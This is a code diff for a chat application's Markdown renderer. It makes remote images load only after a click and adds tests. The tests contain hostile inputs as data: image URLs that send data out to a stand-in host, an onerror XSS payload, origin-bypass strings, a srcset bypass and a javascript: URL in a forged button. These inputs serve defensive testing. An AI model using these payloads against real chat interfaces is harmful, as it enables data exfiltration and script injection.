fix(review-2.7): require clicks to load remote Markdown images

4 files changed, 179 insertions, 30 deletions

diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 61d0d0c..320a5f3 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -103,6 +103,77 @@ describe("renderMarkdown", () => {
     expect(renderMarkdown("")).toBe("");
   });
 
+  describe("remote images require consent", () => {
+    const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+    it.each([
+      "![secret](https://evil.example/pixel?d=secret)",
+      "![secret](http://evil.example/pixel)",
+      "![secret](//evil.example/pixel)",
+      '<img src="https://evil.example/pixel" onerror="alert(1)">',
+      '<img src="//evil.example/pixel">',
+      '<img src="https:&#10;//evil.example/pixel">',
+      '<img src="/\\evil.example/pixel">',
+    ])("replaces %s with an inert, host-labelled button", (text) => {
+      const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+      expect(doc.querySelector("img")).toBeNull();
+      const button = doc.querySelector("button.remote-image");
+      expect(button?.textContent).toBe("Load image from evil.example");
+      expect(button?.getAttribute("type")).toBe("button");
+      expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+      expect(button?.hasAttribute("onerror")).toBe(false);
+    });
+
+    it.each([
+      "/local-image?path=%2Ftmp%2Fa.png",
+      "data:image/png;base64,iVBORw0KGgo=",
+      `${window.location.origin}/image.png`,
+      "http://localhost:24203/images/conversation/image.png",
+    ])("keeps trusted image %s", (src) => {
+      expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+    });
+
+    it("compares exact origins, not hostname prefixes or URL credentials", () => {
+      for (const src of [
+        "http://localhost:24203.evil.example/a.png",
+        "http://localhost:[email protected]/a.png",
+        "http://localhost:24206/a.png",
+        "https://localhost:24203/a.png",
+      ]) {
+        expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+      }
+    });
+
+    it("does not leak a backend allowlist between renders", () => {
+      const text = "![pic](http://localhost:24203/a.png)";
+      expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+      expect(imageSrc(renderMarkdown(text))).toBeNull();
+    });
+
+    it("removes responsive image sources so srcset cannot bypass consent", () => {
+      const html = renderMarkdown(
+        '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+      );
+      expect(html).not.toContain("srcset");
+      expect(html).not.toContain("evil.example");
+    });
+
+    it("blocks images in streaming tails and settled prefixes too", () => {
+      const state = createStreamingMarkdown();
+      const text = "![pic](https://evil.example/pixel)";
+      expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+      expect(advance(state, text).tailHtml).toContain("remote-image");
+      const settled = advance(state, `${text}\n\nafter\n`);
+      expect(settled.prefixHtml).toContain("remote-image");
+      expect(imageSrc(settled.prefixHtml)).toBeNull();
+    });
+
+    it("does not affect other DOMPurify consumers", async () => {
+      const { default: purify } = await import("dompurify");
+      expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+    });
+  });
+
   describe("local-path images", () => {
     const BASE = "http://localhost:24203";
     const image = { apiBase: BASE, cwd: "/w/foo" };
@@ -141,13 +212,7 @@ describe("renderMarkdown", () => {
       expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
     });
 
-    it("leaves remote http(s) and data: images untouched", () => {
-      expect(imageSrc(renderMarkdown("![remote](https://example.com/a.png)", { image }))).toBe(
-        "https://example.com/a.png",
-      );
-      expect(imageSrc(renderMarkdown("![remote](http://example.com/a.png)", { image }))).toBe(
-        "http://example.com/a.png",
-      );
+    it("leaves data: images untouched", () => {
       const data = "data:image/png;base64,iVBORw0KGgo=";
       expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
     });
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index 06e6a78..a65997e 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -186,24 +186,47 @@ function addCopyButtons(html: string): string {
 }
 
 /**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
  */
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
-  if (node.tagName === "A" && node.hasAttribute("href")) {
-    node.setAttribute("target", "_blank");
-    node.setAttribute("rel", "noopener noreferrer");
-  }
-});
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+  const purify = DOMPurify();
+  const base = document.baseURI;
+  const origin = new URL(base).origin;
+  const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+  purify.addHook("afterSanitizeAttributes", (node) => {
+    if (node.tagName === "A" && node.hasAttribute("href")) {
+      node.setAttribute("target", "_blank");
+      node.setAttribute("rel", "noopener noreferrer");
+    }
+    if (node.tagName !== "IMG") return;
+    const src = node.getAttribute("src");
+    if (src === null) return;
+    let url: URL;
+    try {
+      url = new URL(src, base);
+    } catch {
+      node.removeAttribute("src");
+      return;
+    }
+    if (url.protocol !== "http:" && url.protocol !== "https:") return;
+    if (url.origin === origin || url.origin === backendOrigin) return;
 
-function sanitize(html: string): string {
-  return purify.sanitize(html);
+    // Only safe, inert attributes are carried over. In particular, never copy
+    // srcset or author event handlers to the image created after consent.
+    const button = node.ownerDocument.createElement("button");
+    button.setAttribute("type", "button");
+    button.setAttribute("class", "remote-image btn btn-sm");
+    button.setAttribute("data-src", url.href);
+    button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+    const title = node.getAttribute("title");
+    if (title !== null) button.setAttribute("data-title", title);
+    button.textContent = `Load image from ${url.host}`;
+    node.parentNode?.replaceChild(button, node);
+  });
+  // Responsive candidates on <img>/<picture> must not bypass the src hook.
+  return purify.sanitize(html, { FORBID_ATTR: ["srcset"] });
 }
 
 /**
@@ -250,8 +273,9 @@ function safeDecode(path: string): string {
 function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
   const trimmed = src.trim();
   if (trimmed.length === 0) return src;
-  // Remote images and inline data URLs already work — never touch them.
-  if (/^(?:data:|https?:\/\/)/i.test(trimmed)) return src;
+  // Network-path URLs (including browser-normalized backslashes) are URLs,
+  // not local filesystem paths. The sanitizer applies the consent policy.
+  if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
 
   let path: string;
 
@@ -305,7 +329,7 @@ function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
 export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
   const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
@@ -327,7 +351,7 @@ export function renderMarkdownTail(
 ): string {
   const src = closeOpenDelimiters(text, seed);
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index 0adbbea..a0fd276 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -14,7 +14,8 @@
      * Per-conversation local-image context: the backend HTTP base and the
      * conversation cwd. Markdown image srcs that are local paths are rewritten
      * through `${apiBase}/local-image?path=…` (relative paths resolve against
-     * `cwd`); remote/data URLs are untouched. Omit it to render srcs as-is.
+     * `cwd`). Remote HTTP(S) images require a click; data, same-origin and
+     * backend images load inline. Omit it to skip local-path rewriting.
      */
     image?: MarkdownImageOptions;
   } = $props();
@@ -41,8 +42,8 @@
 
   let container: HTMLElement;
 
-  // One delegated listener on the stable container handles every code block's
-  // copy button — including blocks re-created when the tail html changes
+  // One delegated listener on the stable container handles image consent and
+  // every code block's copy button — including blocks re-created when the tail html changes
   // (streaming), since the listener lives on the container, not the buttons.
   // Clipboard is the edge effect; absent (insecure context) → no-op.
   $effect(() => {
@@ -52,6 +53,26 @@
     const onClick = (event: Event): void => {
       const target = event.target;
       if (!(target instanceof Element)) return;
+      const remote = target.closest<HTMLButtonElement>("button.remote-image[data-src]");
+      if (remote !== null && el.contains(remote)) {
+        event.preventDefault(); // A Markdown image may be wrapped in a link.
+        event.stopPropagation();
+        // data-* is authorable in raw HTML: validate again at the DOM edge.
+        let url: URL;
+        try {
+          url = new URL(remote.dataset.src ?? "");
+        } catch {
+          return;
+        }
+        if (url.protocol !== "http:" && url.protocol !== "https:") return;
+        const img = el.ownerDocument.createElement("img");
+        img.alt = remote.dataset.alt ?? "";
+        if (remote.dataset.title !== undefined) img.title = remote.dataset.title;
+        img.setAttribute("referrerpolicy", "no-referrer");
+        img.src = url.href;
+        remote.replaceWith(img);
+        return;
+      }
       const button = target.closest<HTMLButtonElement>("[data-copy]");
       if (button === null) return;
 
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index 721dddb..149bff5 100644
--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -39,6 +39,45 @@ describe("Markdown", () => {
     expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;");
   });
 
+  it.each([
+    false,
+    true,
+  ])("loads only the clicked remote image (streaming=%s)", async (streaming) => {
+    const { container } = render(Markdown, {
+      props: {
+        text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)',
+        streaming,
+      },
+    });
+    expect(container.querySelector("img")).toBeNull();
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    await fireEvent.click(button);
+    const img = container.querySelector("img");
+    expect(img?.getAttribute("src")).toBe("https://evil.example/a.png");
+    expect(img?.getAttribute("alt")).toBe("first");
+    expect(img?.getAttribute("title")).toBe("A title");
+    expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer");
+    expect(
+      screen.getByRole("button", { name: "Load image from other.example" }),
+    ).toBeInTheDocument();
+  });
+
+  it("rejects an unsafe URL in a forged placeholder", async () => {
+    const { container } = render(Markdown, {
+      props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
+    });
+    await fireEvent.click(screen.getByRole("button", { name: "Load" }));
+    expect(container.querySelector("img")).toBeNull();
+  });
+
+  it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => {
+    const { container, rerender } = render(Markdown, { props: { text: "start" } });
+    await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" });
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    expect(await fireEvent.click(button)).toBe(false);
+    expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+  });
+
   it("non-streaming renders a single container (today's full-render path)", () => {
     const { container } = render(Markdown, { props: { text: "# Hello" } });
     expect(container.querySelector(".markdown-stream-prefix")).toBeNull();